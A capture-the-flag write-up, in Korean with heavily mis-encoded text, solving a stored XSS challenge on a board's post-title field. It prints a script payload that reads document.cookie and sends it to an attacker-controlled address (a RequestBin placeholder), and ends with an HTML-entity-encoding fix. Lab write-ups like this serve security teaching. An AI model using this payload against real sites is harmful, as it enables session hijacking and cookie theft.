[SegFault] (XSS)
XSS 1
๊ด๋ฆฌ์์ Cookie๋ฅผ ํ์ทจํ์ธ์!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ XSS์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ , ๊ด๋ฆฌ์ Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ก Cookie ๊ฐ์ ํ์ทจํ์ฌ ๋ฐ์ผ๋ฉด Flag๋ฅผ ํ๋ํ ์ ์๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
ํ์ง๋ง ํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๊ฐ๊ณ ์์ง ์์ผ๋ฏ๋ก RequestBin์ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
์ฐ์ ์์ [๊ด๋ฆฌ์ ๋ฐฉ๋ฌธ Bot Link]์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ URL ์ ๋ ฅ์ฐฝ์ ๋ณผ ์ ์๋ค.
XSS ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๊ณ ํด๋น ๋งํฌ๋ฅผ ์์ URL์ ์ ๋ ฅํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(RequestBin)๋ก ์ฟ ํค ๊ฐ์ด ๋ ์์ค๋ ๋ฐฉ์์ด๋ค.
์ด์ ์๋์ ๋ฌธ์ ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๋ง์ดํ์ด์ง๋ฅผ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ XSS ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์ง ์์๋ค.
๊ณต์ง์ฌํญ์ ํ์ธํด๋ณด๊ธฐ๋ก ํ๋ค.
๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ ๊ธ์ ์ ๋ชฉ์ด๋ ๋ด์ฉ์ ์คํฌ๋ฆฝํธ ์ฝ์ ์ด ๊ฐ๋ฅํ์ง ํ์ธํด๋ณธ๋ค.
XSS Point
< ' " >
์์ ํน์ ๊ธฐํธ๋ค์ ๋ํ์ฌ ํ์ธํด๋ณด๊ธฐ ์ํด ์ ๋ชฉ์ ํด๋น ํน์๋ฌธ์๋ฅผ ๋ฃ์ด์ฃผ์ด ๊ธ์ ์์ฑํด๋ณธ๋ค.
๊ทธ ๊ฒฐ๊ณผ ํด๋น ํน์๋ฌธ์๊ฐ ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค. ๊ทธ๋ ๋ค๋ฉด ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๊ฐ๋ฅํ๋ค๊ณ ์๊ฐํ๊ณ ๋ค์ ๋จ๊ณ๋ก ๋์ด๊ฐ ๋ณธ๋ค.
์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋๋์ง ํ์ธํด๋ณด๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด ์ ๋ ฅํ์ฌ ํ์ธํด๋ณธ๋ค.
<script>alert(1);</script>
์์ ๊ฐ์ด ํด๋น ๊ธ์ ์ฝ๊ธฐ ์ํด ๋ค์ด๊ฐ๋ฉด ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ๋์ด ์์ด ์๋ฆผ์ฐฝ์ด ๋จ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
๊ทธ๋ ๋ค๋ฉด ์ฟ ํค ํ์ทจ๋ฅผ ์ํ ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํด๋ณด๋๋ก ํ๋ค.
ํ์ด๋ก๋(Payload)
<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ ์ฃผ์/?cookie="+cookieData;
</script>
์คํฌ๋ฆฝํธ ์ฝ์
์์ ๊ฐ์ด ํ์ด๋ก๋๋ฅผ ์ ๋ชฉ์ ์ฝ์ ํ์ฌ ๊ธ์ ์์ฑํ๋ค.
๊ณต๊ฒฉ์ ์ฃผ์ = RequestBin ์ฃผ์
ํด๋น ๊ธ์ ์ฝ๊ธฐ ์ํด ๋ค์ด๊ฐ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋์ด ์ ๋ชฉ์๋ ์๋ฌด๊ฒ๋ ์ถ๋ ฅ๋์ง ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ด๊ฒ์ Burp๋ฅผ ํตํด ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
ํด๋น ํ์ด๋ก๋๊ฐ ์ฝ์ ๋ ๊ธ์ ์ฝ๋ ํ์ด์ง๋ฅผ ๊ด๋ฆฌ์ Bot ์ ๋ณด๋ด์ค๋ค.
ํ์ทจ๋ ์ฟ ํค(Cookie)๊ฐ ๊ณต๊ฒฉ์ ์ฃผ์(RequestBin)์ผ๋ก ๋ฐ์์์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ์ํ๋ flag๊ฐ ์ฟ ํค๋ฅผ ํตํด ํ๋๋ ๊ฒ์ ํ์ธํ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ๊ธ์ฐ๊ธฐ์ ์ ๋ชฉ ๋ถ๋ถ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๋ Stored XSS ์ทจ์ฝ์ ์ผ๋ก HTML Entity ๊ฐ ์ ๋๋ก ์ ์ฉ๋์ง ์์ ์๋ต(Response)์์ ์์ฑํ ์ ๋ชฉ์ด ๊ทธ๋๋ก ๋ ธ์ถ๋๊ณ ์์์ ์ด์ฉํ ์ทจ์ฝ์ ์ด๋ค.
< ' " > ์ ๊ฐ์ ํน์๋ฌธ์์ ๊ฒฝ์ฐ, HTML ํน์์ฝ๋(HTML Entity)๋ก ์นํํ์ฌ ์คํฌ๋ฆฝํธ ์คํ์ ์ํฅ์ ์ค ์ ์๋ ํ๊ทธ(tag)์ ํผ์ฉ๋๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํด ๋ฌธ์์ด๋ก์๋ง ์ธ์๋๋๋ก ๊ตฌํํด์ค์ผ ํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์